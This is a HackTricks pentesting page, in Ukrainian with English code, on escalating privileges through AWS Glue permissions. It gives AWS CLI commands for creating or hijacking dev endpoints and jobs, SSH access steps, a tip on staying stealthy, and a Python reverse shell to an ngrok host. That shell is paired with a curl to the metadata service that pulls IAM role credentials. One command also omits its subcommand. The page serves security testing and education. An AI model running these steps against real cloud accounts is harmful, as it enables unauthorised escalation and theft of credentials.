AWS - Glue Privesc

Support HackTricks

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Користувачі з цими дозволами можуть налаштувати нову точку розробки AWS Glue, призначаючи існуючу роль служби, яку може прийняти Glue, з конкретними дозволами для цієї точки.

Після налаштування зловмисник може підключитися до екземпляра точки через SSH і вкрасти облікові дані IAM призначеної ролі:

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Для цілей прихованості рекомендується використовувати облікові дані IAM зсередини віртуальної машини Glue.

Потенційний вплив: Привілейоване підвищення до ролі служби glue.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Користувачі з цим дозволом можуть змінити існуючий ключ SSH для точки розробки Glue, дозволяючи доступ по SSH до неї. Це дозволяє зловмиснику виконувати команди з привілеями прикріпленої ролі точки розробки:

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Потенційний вплив: Привілейоване підвищення до ролі служби glue.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

Користувачі з iam:PassRole в поєднанні з або glue:CreateJob або glue:UpdateJob, і або glue:StartJobRun або glue:CreateTrigger можуть створити або оновити завдання AWS Glue, прикріпивши будь-який обліковий запис служби Glue, і ініціювати виконання завдання. Можливості завдання включають виконання довільного Python коду, що може бути використано для встановлення зворотного шелу. Цей зворотний шел може бути використаний для ексфільтрації облікових даних IAM ролі, прикріпленої до завдання Glue, що може призвести до потенційного несанкціонованого доступу або дій на основі дозволів цієї ролі:

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

Потенційний вплив: Privesc до ролі служби glue, що вказана.

glue:UpdateJob

Лише з дозволом на оновлення атакуючий може вкрасти IAM облікові дані вже прикріпленої ролі.

Потенційний вплив: Privesc до прикріпленої ролі служби glue.

Посилання

Support HackTricks

Last updated